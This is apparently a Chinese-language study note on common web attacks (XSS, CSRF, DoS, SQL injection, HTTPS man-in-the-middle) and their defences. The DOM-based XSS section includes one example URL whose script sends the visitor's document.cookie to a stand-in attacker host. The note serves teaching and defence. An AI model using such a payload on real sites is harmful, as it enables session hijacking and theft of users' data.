# 攻击

# XSS

XSS,Cross Site Scripting(跨站脚本攻击),是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如js), 当用户浏览此网页时,脚本就会在用户的浏览器上执行。

# XSS 攻击场景

  1. DOM-Based XSS 攻击

就是通过在 DOM 中插入恶意脚本。比如一个页面 xxx.com 把链接的 a 参数直接放入 DOM 中,那么攻击者可以修改这个链接为

http://xxx.com?a=<script>window.open('http://bad.com?cookie='+document.cookie)</script>

用户点击了这个链接就会带着用户的 cookie 数据跳转到攻击者的网页。

  1. Stored XSS 攻击

这种攻击影响较大,攻击者会将攻击脚本上传到 web 服务器上,使得所有访问该页面得用户都会被攻击。

# XSS 防御

最好的防御方法就是不相信用户的输入。

  • 将重要的 cookie 标记为 http only,这样 js 就不能操作 cookie 了

  • 对数据进行 encode 编码处理,过滤 html 、js 标签

# CSRF

CSRF,Cross-site request forgery(跨站请求伪造),攻击者盗用了你的身份,以你的名义发送恶意请求。

# CSRF 攻击场景

  • 钓鱼网站

  • 用户登录了 A 页面,然后又打开了攻击者的 B 页面,攻击者 B 以 A 的名义向服务端发送了一些攻击类型的请求

# CSRF 防御

  • cookie 写入随机数据进行验证,因为跨域问题,一般情况下攻击者无法拿到被攻击者的 cookie,但是可能会被 XSS 攻击拿到

  • 验证 HTTP Referer 字段

  • 请求时加一个 token,服务端校验

# DOS 攻击

DOS,阻断服务攻击,想办法目标网络资源用尽,消耗目标的带宽和计算资源。

# DOS 防御

  • 防火墙
  • 交换机(路由器)
  • 流量清洗

# SQL 注入

通过输入 SQL 命令操作数据库

# SQL 注入防御

输入过滤(转义)数据库安全策略

# HTTPS 中间人攻击

黑客在电脑上安装伪造的证书,拦截客户端的请求

# HTTPS 中间人防御

不要安装来源不明的证书

最后更新时间: 8/8/2021, 4:29:10 PM